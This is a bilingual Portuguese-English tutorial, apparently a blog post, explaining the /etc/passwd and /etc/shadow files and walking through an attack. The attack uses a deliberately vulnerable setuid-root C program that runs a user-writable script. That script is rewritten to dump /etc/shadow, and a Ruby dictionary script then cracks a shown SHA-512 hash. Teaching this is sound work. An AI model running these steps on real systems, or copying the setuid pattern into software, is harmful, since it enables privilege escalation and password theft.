Sumário / Summary

O presente artigo oferece ao leitor uma breve explicação sobre os ficheiros “/etc/passwd” e “/etc/shadow” dos sistemas UNIX. É, também, apresentado um cenário de ataque a este último ficheiro, e explicado como um sujeito mal intencionado pode subverter os privilégios sobre o ficheiro, aceder à sua informação confidêncial e sensível, e por último, pré-computar uma colisão com a palavra-passe do utilizador root com sucesso (brute-force attack).

This article provides  a briefly overview of the “/etc/passwd” and “/etc/shadow” UNIX system files. It is presented an attack scenario to the shadow file, and as a attacker can subverting the file privileges, access your confidential and sensitive information, and finally, pre-compute a collision with the root password successfully (brute-force attack).

 

Introdução / Introduction

Tradicionalmente, e por convenção, os sistemas UNIX salvaguardam as palavras-passe dos utilizadores (one-way encripted passwords, i.e., o hash key da palavra-passe e mais alguma informação) num ficheiro denominado “/etc/shadow“. Este ficheiro pode ser lido apenas pelo utilizador root do sistema operativo, no entanto, caso uma função ou procedimento execute/opere com o setuid=0, i.e., em que o seu owner seja o root, então isso pode ser considerado um risco de segurança, e potencialmente, qualquer utilizador mal intencionado consegue subverter as permissões e ganhar acesso direto a este ficheiro em específico.

Traditionally, and by convention, UNIX systems safeguard the passwords of users (one-way encrypted passwords, i.e., the hash key of the password and any further information) in a file called “/etc/shadow”. This file can be read only by the operating system’s root user, however, if a function or procedure run with setuid = 0, i.e., root is the owner of file, then this can be considered a security risk and potentially any malicious user can subvert the file permissions and gain direct access to this file.

 

O ficheiro “/etc/passwd” / “/etc/passwd file”

O ficheiro “/etc/passwd“, lado a lado com o ficheiro “/etc/shadow“, apresentam informações de elevado cariz de importância. Este, apresenta informação acerca dos utilizadores, nomeadamente, a lista de contas do sistema, o user ID, group ID, home directory, etc. (as palavras-passe são guardadas no ficheiro “/etc/shadow“). Este ficheiro possui permissões de leitura para qualquer tipo de utilizador, e apenas o root do sistema tem acesso de escrita.

The “/etc/passwd” file as well as “/etc/shadow” are files with a high importance information. These files present information about the users, namely, the list of system accounts, the user ID, group ID, home directory, etc. (passwords are stored in the file “/etc/shadow”). This file has read permissions for any type of user, and only the user root has write access.

 
[[email protected]]$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1362 Apr 18 12:21 /etc/passwd
 

Este ficheiro possui uma entrada por linha para cada utilizador do sistema. Todos os 7 campos são separados por uma coluna pelo simbolo “:“. A seguinte lista apresenta um exemplo do ficheiro “/etc/passwd“.

This file has one entry per line for each system user. All 7 fields are separated by a column by the “:” symbol.

 
pipocaz:x:1000:100:pipocaz:/home/pipocaz:/bin/bash
------ |-|----|---|-------|-------------|---------
   1    2   3   4     5          6           7
 

1. Nome de utilizador;
2. Palavra-passe, o carater “x” indica que a palavra-passe está armazenada no ficheiro “/etc/shadow“;
3. User ID (UID), cada user possui um UID. O UID=0 é reservado para o root;
4. Group ID (GIU);
5. User ID Info, coluna de comentario (opcional):
6. Diretório Home do utilizador;
7. Caminho direto da shell do sistema operativo.

1. Username;
2. Password, “x” indicates that the password is stored in “/etc/shadow” file;
3. User ID (UID), each user has an UID. The UID=0 is restricted to root user;
4. Group ID (GIU);
5. User ID Info, commentary column (optional):
6. User home directory;
7. Path of the SO shell.

 

A lista acima apresenta que o owner deste ficheiro é o utilizador root, portanto, apenas ele possui permissão de escrita sobre o ficheiro. No entanto, qualquer utilizador tem acesso de leitura, usando, por exemplo, o seguinte comando no terminal:

The list above shows that the owner of this file is the root user (only root has write access on the file). However, any user has read access, using, for example, the following command from a terminal:

 
[[email protected]]$ cat /etc/passwd                      
root:x:0:0:root:/root:/bin/bash                         
bin:x:1:1:bin:/bin:/usr/bin/nologin                     
daemon:x:2:2:daemon:/:/usr/bin/nologin                  
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin       
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin              
(...............)                                      
pipocaz:x:1000:100:pipocaz:/home/pipocaz:/bin/bash     
jenkins:x:618:617::/var/lib/jenkins:/bin/bash
 

Na lista acima pode ser indentificado facilmente o utilizador root com UID=0.

In the presented list can be easily identified the root user with UID = 0. 

 

O ficheiro “/etc/shadow” / “/etc/shadow file”

Caso se efetue o mesmo processo de acesso ao ficheiro “/etc/shadow” na tentativa de listar a(s) palavra(s)-passe do(s) utilizador(es), o acesso é negado.

In order to verify that the access is denied when the last command is performed for this file, can be used the follows Linux command:

 
[[email protected]]$ cat /etc/shadow                   
cat: /etc/shadow: Permission denied                 
[[email protected]]$ ls -l /etc/shadow                 
-rw------- 1 root root 861 Apr 18 12:21 /etc/shadow
 

Como espectável,  apenas o utilizador root possui permissões de rw (read and write) sobre este ficheiro (ls -l /etc/shadow). No decorrer deste artigo será apresentada uma forma de explorar e subverter os privilégios de acesso ao ficheiro, mas antes, é necessário perceber como está organizado internamente.

As expected, only the root user has permission rw (read and write) on this file (ls -l /etc/shadow). In this article will be presented a way to explore and subvert the  access privileges of the file, but first we’ll see how it is organized.

 
[email protected] etc_shadow]$ sudo cat /etc/shadow                                                                                                             
[sudo] password for pipocaz: *******                                                
root:$6$bStNqe01$o4U95Td.Co4l*************************K4Gh5hi1:15551:0:99999:7::: 
bin:*:15422:0:99999:7:::                                                            
daemon:*:15422:0:99999:7:::                                                                 
pipocaz:$6$pipocaz$mHEJpsCyj7P0M9Se.***********KRk/fLX0VuA/e3Mcv1:16501:0:99999:7:::
jenkins:$6$WBI64Hrw$.hXq8.8OJD8G**********************uh0S0M.N1:15552::::::         
avahi:!!:15553::::::                                                                
apache:!!:15775::::::                                                               
postgres:$6$Pe0oPSOL$EIj1CdIY***********************nITp9eESi.:16485::::::
 

Cada entrada do ficheiro possui a seguinte estrutura:

Each file entry follows the schema presented below.

 
pipocaz:$6$pipocaz$mHEJpsC**7P03Mcv1:16501:0:99999:7:::
-------|--|-------|-----------------|-----|-|-----|-|
   1     2     3            4          5   6   7   8
 

1. Nome de utilizador;
2. Tipo de chave de hash usada para gerar a hash key do utilizador (ver listagem abaixo);
3. Salt (valor randómico) de forma a gerar uma hash key com algum grau de entropia;
4. Hash da palavra-passe (Function{salt+password} => Y);
5. Última alteração da palavra-passe;
6. Mínimo número de dias até a política de alteração de palavra-passe solicitar um update;
7. Máximo número de dias em que a palavra-passe é válida.
8. Número de dias em que o utilizador tem para alterar a palavra-passe (depois do primeiro alerta).

1. Username;
2. Kind of used hash to generate a hash key (see listing below);
3. Salt (random value) that allow generates a entropy hash key;
4. Password Hash  (Function{salt+password} => Y);
5. Last change of the user password;
6. How many days remaining to change new password of user.
7. How many days the password to be valid for user.
8. This will show the warning message to user, how many days remaining to update/change the new password. 

 

Tipos de Hash / Details of hash algorithm

----------------------------------
| CODE ALGORITHM                 |
| $1 MD5 hashing algorithm.      |
| $2 Blowfish Algorithm.         |
| $2a eksblowfish Algorithm.     |
| $3 NT hashing algorithm.       |
| $5 SHA-256 Algorithm.          |
| $6 SHA-512 Algorithm.          |
----------------------------------
 

 

Escalonamento de privilégios / Privilege escalation

Um utilizador sem acesso root não consegue visualizar e aceder ao ficheiro “/etc/shadow“, mas, por vezes, são cometidas algumas falhas em determinados scripts/software que permitem ao sujeito mal intencionado tirar partido de alguma falha de segurança (vetor de ataque).

One of the precautions of any developer should be the security of the developed system. A user without root access can not see and access the file “/etc/shadow”, but sometimes some flaws in certain scripts or software allow execution of malicious codes. With this security issue, a bad guy achieves your main goal and analyses confidential information as the “/etc/shadow” file.

 

Cenário de ataque / Attack scenario

Supondo que,  o servidor alvo possui instalado um programa denominado “runscript“, no qual a sua principal utilidade é a leitura de um ficheiro, “script.sh“, onde são especificados alguns comandos dentro do contexto desse programa.

Supposing that the target server has installed a program called “runscript” and your objective is to read a file, “script.sh” where are specified some commands within your initial context.

 

File: runscript.c

#include <stdio.h>           
#include <stdlib.h>          
#include <sys/types.h>       
#include <unistd.h>          
                            
int main()                   
{                            
  setuid( 0 );                 
  system( "./script.sh" );     
                            
  return 0;                    
}
 

(Para gerar o executável fazer: gcc runscript.c -o runscript).

(To generate the executable file make: gcc runscript.c -o runscript).

O utilizador root do servidor aquando da instalação definiu-o como sendo seu, com o setUID=0.

The server root user when installing it defines it with the setuid = 0 (i.e., he is the owner of the program).

 
[[email protected]]$ sudo chmod a+s runscript
[sudo] password for pipocaz: ***
[[email protected]]$ ls -l
-rwx------ 1 root users 29 Apr 18 14:10 private.txt
-rwsr-sr-x 1 root users 6840 Apr 18 14:07 runscript
-rwxr-xr-x 1 pipocaz users 198 Apr 18 15:26 script.sh
 

Um utilizador não root, se tentar aceder ao ficheiro “private.txt” apenas para leitura não consegue, pois somente o owner do ficheiro possui permissões para isso.

A user not root, has not read permissions to access the “private.txt” file because only the file owner has permissions to do it.

 
[[email protected] ]$ cat private.txt
cat: private.txt: Permission denied
 

No entanto, o programa “runscript” efetua esse processo de leitura como sendo “root“, uma vez que possui o setUID=0 e é executado por outros utilizadores com o mesmo grau de liberdade/permissões do seu dono.

However, the “runscript” program allows reading the file as “root”, since it has the SETUID= 0 and is executed by other users with the same permissions of its owner.

 
[[email protected] etc_shadow]$ ./runscript
This information is private.
 

O utilizador malicioso, porém, reparou que tinha acesso de leitura e escrita ao ficheiro “script.sh“, e neste, são especificados os comandos que o programa “runscript” utiliza na sua execução.

The malicious user, nevertheless, noticed that has read and write permission on the file “script.sh”, and this file had specified all configurations and program accesses.  

 
#!/bin/bash
cat private.txt
 

Seguidamente, o sujeito mal intencionado decide substituir o conteúdo deste ficheiro pelo seguinte:

Next, the malicious guy decides to replace the contents of this file for the following:

 
#!/bin/bash
echo 'Listing the file: [/etc/shadow] as root ;).'
echo ""
cat /etc/shadow
 

Em seguida, depois de executar o script, obtem a seguinte informação no terminal:

Then, after running the script, get the following information on the terminal:

 
[email protected] etc_shadow]$ ./runscript
Listing the file: [/etc/shadow] as root ;).

root:$6$root$R6epDdzrWkqu*************************4ObCDz.F5zzEQMhW6/VV8eq4r1k97w0:16501::::::
bin:x:14871::::::
daemon:x:14871::::::
mail:x:14871::::::
ftp:x:14871::::::
http:x:14871::::::
(...........)
pipocaz:$6$pipocaz$mHEJpsCyj7P0M9Se.Jmc6xQqNQSidwRYXi0/mS6dqBWBpuoyWkS.727KRk/fLX0VuA/y1YRPuu/T4Ji6e3Mcv1:16501:0:99999:7:::
jenkins:!:16543::::::
 

A função <system( “./script.sh” );> presente no ficheiro “runscript.c”  não fez qualquer tipo de verificação ao setUID do ficheiro, “./script.sh“. Visto que qualquer utilizador consegue aceder ao ficheiro script.sh, pode alterar o seu conteúdo e ele, por fim, é executado como root (o seu dono).

The <system (“./script.sh”);> function depicted in the file “runscript.c” made no type of verification of setuid in the “./script.sh” file. Since any user can access the file script.sh, the malicious guy change your content and, finally, the program executes as root and run the malicious content added. 

 

Brute-force – “/etc/shadow” Cracking

Por fim, com acesso válido ao ficheiro “/etc/shadow“, o sujeito mal intencionado decide produzir um script, em Ruby, de forma a computar uma colisão com a palavra-passe do utilizador “pipocaz” definido no ficheiro.

Finally, with valid access to the “/etc/shadow” file, the malicious guy decides to produce a script in Ruby, in order to compute a collision with the user’s password “pipocaz” defined in the file.

script.rb

 
target="$6$pipocaz$mHEJpsCyj7P0M9Se.Jmc6xQqNQSidwRYXi0/mS6dqBWBpuoyWkS.727KRk/fLX0VuA/y1YRPuu/T4Ji6e3Mcv1"

File.open('dic.dic').each do |line|
computed_hash=line.to_s.strip.crypt("$6$pipocaz")
puts "Password is: #{line}" if target==computed_hash
end
 

dic.dic

admin
user
root
toor
 

O ficheiro dic.dic possui um dicionário de potenciais palavras-passe. Por sua vez, o ficheiro script.rb recebe palavra-a-palavra do dicionário, e faz uso da função “crypt” que recebe como parâmetros o tipo de chave de hash (SHA512) e o salt da palavra-passe (informação extraída do ficheiro “/etc/shadow”). Como o hash final da palavra-passe é conhecido por força do issue acima conhecido, pode ser realizado este ataque comparando o resultado entre o return da função e o target definido no inicio do script (entrada do ficheiro /etc/shadow para o utilizador pipocaz: “$6$pipocaz$mHEJpsCyj7P0M9Se.Jmc6xQqNQSid
wRYXi0/mS6dqBWBpuoyWkS.727KRk/fLX0VuA/y1YRPuu/T4Ji6e3Mcv1
” . Ao executar o script no terminal, verificou-se que a palavra-passe guardada no ficheiro “/etc/shadow” para o utilizador pipocaz é “toor“.

The dic.dic is a dictionary of potential passwords. In turn, the script.rb file gets from dictionary word-by-word, and uses function “crypt” that takes as parameters the type of hash key (SHA512) and the salt (information gathered from the file “/etc/shadow”). As the final hash of the password is known under the above known issue, can be carried out this attack by comparing the results between the return of the function and the target set at the start script (file entry of the /etc/shadow file for pipocaz user :. “$ 6 $ pipocaz $ mHEJpsCyj7P0M9Se.Jmc6xQqNQSidwRYXi0 / mS6dqBWBpuoyWkS.727KRk / fLX0VuA / y1YRPuu / T4Ji6e3Mcv1”. When the script is executed in terminal, the password “toor” was found for user pipocaz.

 
[[email protected] etc_shadow]$ ruby script.rb
Password is: toor